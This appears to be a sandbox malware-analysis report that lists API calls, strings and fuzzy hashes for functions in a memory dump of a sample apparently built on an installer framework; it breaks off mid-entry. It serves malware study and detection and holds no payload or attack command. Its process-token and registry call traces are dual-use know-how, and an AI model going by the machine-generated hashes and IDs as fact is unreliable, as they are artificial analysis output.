API ID: AddressHandleModuleProc
String ID: DisableProcessWindowsGhosting$user32.dll
API String ID: 1646373207-834958232
Opcode ID: d26faf3502760f2b8304c8b29f1b377702d6f34381249b52cb9d82fc0845b7a8
Instruction ID: a447a91dd4d4791f70ca82ece540bd513dbb2543541ea1319c0fea98b289aaf7
Opcode Fuzzy Hash: d26faf3502760f2b8304c8b29f1b377702d6f34381249b52cb9d82fc0845b7a8
Instruction Fuzzy Hash: 61B09280668712549C0032F30C02B2B0C094840728B1000B73414A00C6CE6C9C004A3D

Function 0046441C Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 8libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 0044B650: LoadLibraryA.KERNEL32(uxtheme.dll,?,0044F76D,004980FE), ref: 0044B677
Part of subcall function 0044B650: GetProcAddress.KERNEL32(00000000,OpenThemeData), ref: 0044B68F
Part of subcall function 0044B650: GetProcAddress.KERNEL32(00000000,CloseThemeData), ref: 0044B6A1
Part of subcall function 0044B650: GetProcAddress.KERNEL32(00000000,DrawThemeBackground), ref: 0044B6B3
Part of subcall function 0044B650: GetProcAddress.KERNEL32(00000000,DrawThemeText), ref: 0044B6C5
Part of subcall function 0044B650: GetProcAddress.KERNEL32(00000000,GetThemeBackgroundContentRect), ref: 0044B6D7
Part of subcall function 0044B650: GetProcAddress.KERNEL32(00000000,GetThemeBackgroundContentRect), ref: 0044B6E9
Part of subcall function 0044B650: GetProcAddress.KERNEL32(00000000,GetThemePartSize), ref: 0044B6FB
Part of subcall function 0044B650: GetProcAddress.KERNEL32(00000000,GetThemeTextExtent), ref: 0044B70D
Part of subcall function 0044B650: GetProcAddress.KERNEL32(00000000,GetThemeTextMetrics), ref: 0044B71F
Part of subcall function 0044B650: GetProcAddress.KERNEL32(00000000,GetThemeBackgroundRegion), ref: 0044B731
Part of subcall function 0044B650: GetProcAddress.KERNEL32(00000000,HitTestThemeBackground), ref: 0044B743
Part of subcall function 0044B650: GetProcAddress.KERNEL32(00000000,DrawThemeEdge), ref: 0044B755
Part of subcall function 0044B650: GetProcAddress.KERNEL32(00000000,DrawThemeIcon), ref: 0044B767
Part of subcall function 0044B650: GetProcAddress.KERNEL32(00000000,IsThemePartDefined), ref: 0044B779
Part of subcall function 0044B650: GetProcAddress.KERNEL32(00000000,IsThemeBackgroundPartiallyTransparent), ref: 0044B78B
Part of subcall function 0044B650: GetProcAddress.KERNEL32(00000000,GetThemeColor), ref: 0044B79D
Part of subcall function 0044B650: GetProcAddress.KERNEL32(00000000,GetThemeMetric), ref: 0044B7AF

LoadLibraryA.KERNEL32(shell32.dll,SHPathPrepareForWriteA,00498126), ref: 0046442B
GetProcAddress.KERNEL32(00000000,shell32.dll), ref: 00464431

Strings

shell32.dll, xrefs: 00464426
SHPathPrepareForWriteA, xrefs: 00464421

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: SHPathPrepareForWriteA$shell32.dll
API String ID: 2238633743-2683653824
Opcode ID: 25a4dc9541e494d4f478376088f4118d6a1224d0a714e6d5fca985b35bc39c4d
Instruction ID: 48aea337371b5dbca44804c24081d1198016d0c57ab59c55e23a700f58ea278e
Opcode Fuzzy Hash: 25a4dc9541e494d4f478376088f4118d6a1224d0a714e6d5fca985b35bc39c4d
Instruction Fuzzy Hash: 89B092A0640705A8CD047BB21857B0F2A4494A0B18790423B301475083EF7C88205A5E

Function 0047CE60 Relevance: 6.2, APIs: 4, Instructions: 195fileCOMMON

Download Yara Rule

APIs

FindNextFileA.KERNEL32(000000FF,?,00000000,0047CFD4,?,?,?,?,00000000,0047D129,?,?,?,00000000,?,0047D238), ref: 0047CFB0
FindClose.KERNEL32(000000FF,0047CFDB,0047CFD4,?,?,?,?,00000000,0047D129,?,?,?,00000000,?,0047D238,00000000), ref: 0047CFCE

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: Find$CloseFileNext
String ID:
API String ID: 2066263336-0
Opcode ID: 9f09813f7918e7f3537418bbdf228f62d8dd8a495373f8467bf1863306f2bb6d
Instruction ID: d4706787225a87a8d466f388a3eb94f1c6a992d4ef98e923761ffbb9731f628b
Opcode Fuzzy Hash: 9f09813f7918e7f3537418bbdf228f62d8dd8a495373f8467bf1863306f2bb6d
Instruction Fuzzy Hash: 32814B70D0024DAFCF11DF95CC91ADFBBB9EF49308F5080AAE808A7291D6399A46CF55

Function 00475394 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 114COMMON

Download Yara Rule

APIs

Part of subcall function 0042EE28: GetTickCount.KERNEL32 ref: 0042EE2E

Part of subcall function 0042EC80: MoveFileExA.KERNEL32(00000000,00000000,00000001(MOVEFILE_REPLACE_EXISTING)), ref: 0042ECB5

GetLastError.KERNEL32(00000000,00475509,?,?,0049C1D0,00000000), ref: 004753F2

Strings

MoveFileEx, xrefs: 00475457
, xrefs: 0047542A, 00475445
LoggedMsgBox returned an unexpected value. Assuming Cancel., xrefs: 004754C7

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: CountErrorFileLastMoveTick
String ID: $LoggedMsgBox returned an unexpected value. Assuming Cancel.$MoveFileEx
API String ID: 2406187244-2685451598
Opcode ID: 7dd558b458d748696a875524af4e195e3f09e273ab8622730eb0a1e32a8ceb2d
Instruction ID: 7c456f6db07972d04682c0112793eede51d985a58d5564732b5c120557be107c
Opcode Fuzzy Hash: 7dd558b458d748696a875524af4e195e3f09e273ab8622730eb0a1e32a8ceb2d
Instruction Fuzzy Hash: 5D419670A006099BCB10EFA5D882ADF77B5EF48314F608537E404BB355E7B89E458BAD

Function 00413CF0 Relevance: 6.1, APIs: 4, Instructions: 107COMMON

Download Yara Rule

APIs

GetDesktopWindow.USER32 ref: 00413D3E
GetDesktopWindow.USER32 ref: 00413DF6

Part of subcall function 00418EB8: 6F59C6F0.COMCTL32(?,00000000,00413FBB,00000000,004140CB,?,?,0049B628), ref: 00418ED4
Part of subcall function 00418EB8: ShowCursor.USER32(00000001,?,00000000,00413FBB,00000000,004140CB,?,?,0049B628), ref: 00418EF1

SetCursor.USER32(00000000,?,?,?,?,00413AEB,00000000,00413AFE), ref: 00413E34

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: CursorDesktopWindow$Show
String ID:
API String ID: 2074268717-0
Opcode ID: d2c454668ecaa59f130cbdc0d7f98644b71464a6bea9d144c6b553ceac200a13
Instruction ID: 9b0def8c9c64a2c96ee02a3ab3d0705208e3fbe4449c9c566199a376d490666d
Opcode Fuzzy Hash: d2c454668ecaa59f130cbdc0d7f98644b71464a6bea9d144c6b553ceac200a13
Instruction Fuzzy Hash: D2411931600210AFC710DF2AFA84B5677A5EB69329B16807BE405CB365DB38ED81CF9C

Function 00408A44 Relevance: 6.1, APIs: 4, Instructions: 95windowCOMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00400000,?,00000100), ref: 00408A65
LoadStringA.USER32(00400000,0000FF9E,?,00000040), ref: 00408AD4
LoadStringA.USER32(00400000,0000FF9F,?,00000040), ref: 00408B6F
MessageBoxA.USER32(00000000,?,?,00002010), ref: 00408BAE

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: LoadString$FileMessageModuleName
String ID:
API String ID: 704749118-0
Opcode ID: 6e4d3cb753bdbb9908acc8cdd2b86980fc3448728ff30d06669c4a0ffee8011d
Instruction ID: 89cba0e7522a9b83fcc2071cfb28f1965358b02fab5b9b8693395207a1b0bde5
Opcode Fuzzy Hash: 6e4d3cb753bdbb9908acc8cdd2b86980fc3448728ff30d06669c4a0ffee8011d
Instruction Fuzzy Hash: A63110716083809AD330EB65CA45B9FB7D8AB85704F44483FB6C8E72D1DB7899048B6B

Function 0044E8BC Relevance: 6.1, APIs: 4, Instructions: 83windowCOMMON

Download Yara Rule

APIs

SendMessageA.USER32(00000000,000001A1,?,00000000), ref: 0044E905

Part of subcall function 0044CF48: SendMessageA.USER32(00000000,000001A0,?,00000000), ref: 0044CF7A

InvalidateRect.USER32(00000000,00000000,00000001,00000000,000001A1,?,00000000), ref: 0044E989

Part of subcall function 0042BBAC: SendMessageA.USER32(00000000,0000018E,00000000,00000000), ref: 0042BBC0

IsRectEmpty.USER32(?), ref: 0044E94B
ScrollWindowEx.USER32(00000000,00000000,00000000,?,00000000,00000000,00000000,00000006), ref: 0044E96E

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: MessageSend$Rect$EmptyInvalidateScrollWindow
String ID:
API String ID: 855768636-0
Opcode ID: 0b47e4e74fbaa274a2738fa508d6e527e1083de5c38dc3a313e3f8e812d9ff7d
Instruction ID: fae584cc962e85b422f7b584321c3529105593e75d7f1ff9ae22b75d4be52dd2
Opcode Fuzzy Hash: 0b47e4e74fbaa274a2738fa508d6e527e1083de5c38dc3a313e3f8e812d9ff7d
Instruction Fuzzy Hash: F1116A71B4030067E610BA3A8C86B5B76C99B98748F15093FB505EB3C2DE7DDC0983A9

Function 00494E30 Relevance: 6.1, APIs: 4, Instructions: 81COMMON

Download Yara Rule

APIs

OffsetRect.USER32(?,?,00000000), ref: 00494E94
OffsetRect.USER32(?,00000000,?), ref: 00494EAF
OffsetRect.USER32(?,?,00000000), ref: 00494EC9
OffsetRect.USER32(?,00000000,?), ref: 00494EE4

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: OffsetRect
String ID:
API String ID: 177026234-0
Opcode ID: 6561eb4d383449756189e8e73bad2b2324663fde54b6a94536ab2f09e4d2584d
Instruction ID: 1704218a4531d37ac2ab58ce54688b95f7f5c665c469e7ed4027bbe581d59bf2
Opcode Fuzzy Hash: 6561eb4d383449756189e8e73bad2b2324663fde54b6a94536ab2f09e4d2584d
Instruction Fuzzy Hash: C42190BA704201AFCB00DE69CD85E6BB7DAEFC4340F148A3AF944C7249E638ED058755

Function 00417210 Relevance: 6.1, APIs: 4, Instructions: 72COMMON

Download Yara Rule

APIs

GetCursorPos.USER32 ref: 00417258
SetCursor.USER32(00000000), ref: 0041729B
GetLastActivePopup.USER32(?), ref: 004172C5
GetForegroundWindow.USER32(?), ref: 004172CC

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: Cursor$ActiveForegroundLastPopupWindow
String ID:
API String ID: 1959210111-0
Opcode ID: 7e2e89ac6d78113517a7cdb08ff1bb3a8e6934fc8f6f5a4bd5de53d8afa5f26a
Instruction ID: d8f212eab659ab8611038d963e52f28b2b0f2619fe8d71a0b25c9b868ff876e9
Opcode Fuzzy Hash: 7e2e89ac6d78113517a7cdb08ff1bb3a8e6934fc8f6f5a4bd5de53d8afa5f26a
Instruction Fuzzy Hash: B121B0303486008AC710AB69D944AEB33F1EF58724B1145BBF8459B392DB3DDC82CB8D

Function 00494AE8 Relevance: 6.1, APIs: 4, Instructions: 59COMMON

Download Yara Rule

APIs

MulDiv.KERNEL32(8B500000,00000008,?), ref: 00494AFD
MulDiv.KERNEL32(50142444,00000008,?), ref: 00494B11
MulDiv.KERNEL32(F70A2BE8,00000008,?), ref: 00494B25
MulDiv.KERNEL32(8BF88BFF,00000008,?), ref: 00494B43

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: da8da1de4e7f5bc81aa34d833cd20809ae9834e6658fde7f29423bed1a0b2134
Instruction ID: 4e21b8649f01b029d01931fbc34569bb41b57a17a8c4fb2cd57aac9c741bb68b
Opcode Fuzzy Hash: da8da1de4e7f5bc81aa34d833cd20809ae9834e6658fde7f29423bed1a0b2134
Instruction Fuzzy Hash: 1F113072605104AFCF40DFA9C8C5E9B7BECEF8D320B1541AAF908DB246D634ED418B68

Function 0041F478 Relevance: 6.1, APIs: 4, Instructions: 56registryCOMMON

Download Yara Rule

APIs

GetClassInfoA.USER32(00400000,0041F468,?), ref: 0041F499
UnregisterClassA.USER32(0041F468,00400000), ref: 0041F4C2
RegisterClassA.USER32(00499598), ref: 0041F4CC
SetWindowLongA.USER32(00000000,000000FC,00000000), ref: 0041F507

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: Class$InfoLongRegisterUnregisterWindow
String ID:
API String ID: 4025006896-0
Opcode ID: 369d2da58285a6866fdf7dc2e280d06892b8d6024adb0aca680e52ce00aa00df
Instruction ID: e4d668e9dca91fd32e585eae6d60143d6dfbdf42e70c096e3b85bfad9ab1786c
Opcode Fuzzy Hash: 369d2da58285a6866fdf7dc2e280d06892b8d6024adb0aca680e52ce00aa00df
Instruction Fuzzy Hash: 63016D722001046BDB10EBACED81E9B3798A729314B10423FBA15E73A2D7399D458BAC

Function 0040D1F8 Relevance: 6.1, APIs: 4, Instructions: 51COMMON

Download Yara Rule

APIs

FindResourceA.KERNEL32(00400000,?,00000000), ref: 0040D20F
LoadResource.KERNEL32(00400000,72756F73,0040A9B0,00400000,00000001,00000000,?,0040D16C,00000000,?,00000000,?,?,0047C33C,0000000A,00000000), ref: 0040D229
SizeofResource.KERNEL32(00400000,72756F73,00400000,72756F73,0040A9B0,00400000,00000001,00000000,?,0040D16C,00000000,?,00000000,?,?,0047C33C), ref: 0040D243
LockResource.KERNEL32(74536563,00000000,00400000,72756F73,00400000,72756F73,0040A9B0,00400000,00000001,00000000,?,0040D16C,00000000,?,00000000,?), ref: 0040D24D

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: Resource$FindLoadLockSizeof
String ID:
API String ID: 3473537107-0
Opcode ID: 0bf80b66a5ada5cede639d51b96412ae59566757451319f02a49a05eb7d51380
Instruction ID: 3283e33870439dafd25d8e1e147512606e62b5bf6a0133693b61d2317928fdf1
Opcode Fuzzy Hash: 0bf80b66a5ada5cede639d51b96412ae59566757451319f02a49a05eb7d51380
Instruction Fuzzy Hash: C5F04FB26056047F8B04EE99A881D5B77DDDE88264314027EF908EB242DA38DD018B69

Function 004703C0 Relevance: 6.0, APIs: 1, Strings: 3, Instructions: 41COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(?,00000000), ref: 00470411

Strings

Unsetting NTFS compression on file: %s, xrefs: 004703F7
Setting NTFS compression on file: %s, xrefs: 004703DF
Failed to set NTFS compression state (%d)., xrefs: 00470422

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: ErrorLast
String ID: Failed to set NTFS compression state (%d).$Setting NTFS compression on file: %s$Unsetting NTFS compression on file: %s
API String ID: 1452528299-3038984924
Opcode ID: 32800ea80ef7f340448f7304649e5167e10847fac6a49cadc2e3199de093b0c6
Instruction ID: 0d596443d05caf7374ea98a63d842d8765eee9d82fb477a7c18f0f713548320e
Opcode Fuzzy Hash: 32800ea80ef7f340448f7304649e5167e10847fac6a49cadc2e3199de093b0c6
Instruction Fuzzy Hash: 3601A730E0924896CB14D7AD94412EDBBB48F09304F54C1EFB85CE7382DB780A098B9A

Function 0046FC14 Relevance: 6.0, APIs: 1, Strings: 3, Instructions: 41COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00000000,00000000), ref: 0046FC65

Strings

Failed to set NTFS compression state (%d)., xrefs: 0046FC76
Setting NTFS compression on directory: %s, xrefs: 0046FC33
Unsetting NTFS compression on directory: %s, xrefs: 0046FC4B

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: ErrorLast
String ID: Failed to set NTFS compression state (%d).$Setting NTFS compression on directory: %s$Unsetting NTFS compression on directory: %s
API String ID: 1452528299-1392080489
Opcode ID: b5dc9d2579f2018d9a7d7e75725accde34884e18dd6de742cde32242bcb11ea0
Instruction ID: 1ff60dd8eb5a114f2a7af6b3d642365226de0c959c43d8a3966afd89414ec8a0
Opcode Fuzzy Hash: b5dc9d2579f2018d9a7d7e75725accde34884e18dd6de742cde32242bcb11ea0
Instruction Fuzzy Hash: 5B011730E0824C56CB04D7ADA4412DDBBB4AF4D314F54C5BFA899D7382EA790A0D879B

Function 00455D70 Relevance: 6.0, APIs: 4, Instructions: 41registrywindowCOMMON

Download Yara Rule

APIs

Part of subcall function 0042DE14: RegOpenKeyExA.ADVAPI32(80000002,System\CurrentControlSet\Control\Windows,0048319F,?,00000001,?,?,0048319F,?,00000001,00000000), ref: 0042DE30

RegDeleteValueA.ADVAPI32(?,00000000,00000082,00000002,00000000,?,?,00000000,0045B5CE,?,?,?,?,?,00000000,0045B5F5), ref: 00455DAC
RegCloseKey.ADVAPI32(00000000,?,00000000,00000082,00000002,00000000,?,?,00000000,0045B5CE,?,?,?,?,?,00000000), ref: 00455DB5
RemoveFontResourceA.GDI32(00000000), ref: 00455DC2
SendNotifyMessageA.USER32(0000FFFF,0000001D,00000000,00000000), ref: 00455DD6

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: CloseDeleteFontMessageNotifyOpenRemoveResourceSendValue
String ID:
API String ID: 4283692357-0
Opcode ID: cc4ceb729e222824fe1cac9382ec9995b1fa7ba0c709305ca7eece31e51928de
Instruction ID: 990a694f9916720730b0810028faebd1b23d30e86244cf38efb64550af4b0806
Opcode Fuzzy Hash: cc4ceb729e222824fe1cac9382ec9995b1fa7ba0c709305ca7eece31e51928de
Instruction Fuzzy Hash: 7CF090B274070036EA10B6B65C46F2B12DC8F54745F10883AB500EF2C3D57CDC044629

Function 0047C52C Relevance: 6.0, APIs: 4, Instructions: 35sleepCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 0047C54D
GetLastError.KERNEL32 ref: 0047C557
GetTickCount.KERNEL32 ref: 0047C561
Sleep.KERNEL32(00000032), ref: 0047C571

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: ErrorLast$CountSleepTick
String ID:
API String ID: 2227064392-0
Opcode ID: 4bb6a74b997c72d79b8ad59ba38197016887a39ac959a09613ad40c6f540370d
Instruction ID: a2b460aa88ecba94892aad5d964071206a8b0d845d3bc1a6a013ae29a0728730
Opcode Fuzzy Hash: 4bb6a74b997c72d79b8ad59ba38197016887a39ac959a09613ad40c6f540370d
Instruction Fuzzy Hash: 6FE02B627C916065C62131BE18C25BF464CCBC3364B24463FF0CCE7242C85D5C4A873E

Function 00477C98 Relevance: 6.0, APIs: 4, Instructions: 31COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000008,?,?,?,00000001,00000000,00000002,00000000,004808CA,?,?,?,?,?,004981E7,00000000), ref: 00477CA1
OpenProcessToken.ADVAPI32(00000000,00000008,?,?,?,00000001,00000000,00000002,00000000,004808CA,?,?,?,?,?,004981E7), ref: 00477CA7
GetTokenInformation.ADVAPI32(00000008,00000012(TokenIntegrityLevel),00000000,00000004,00000008,00000000,00000008,?,?,?,00000001,00000000,00000002,00000000,004808CA), ref: 00477CC9
CloseHandle.KERNEL32(00000000,00000008,TokenIntegrityLevel,00000000,00000004,00000008,00000000,00000008,?,?,?,00000001,00000000,00000002,00000000,004808CA), ref: 00477CDA

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
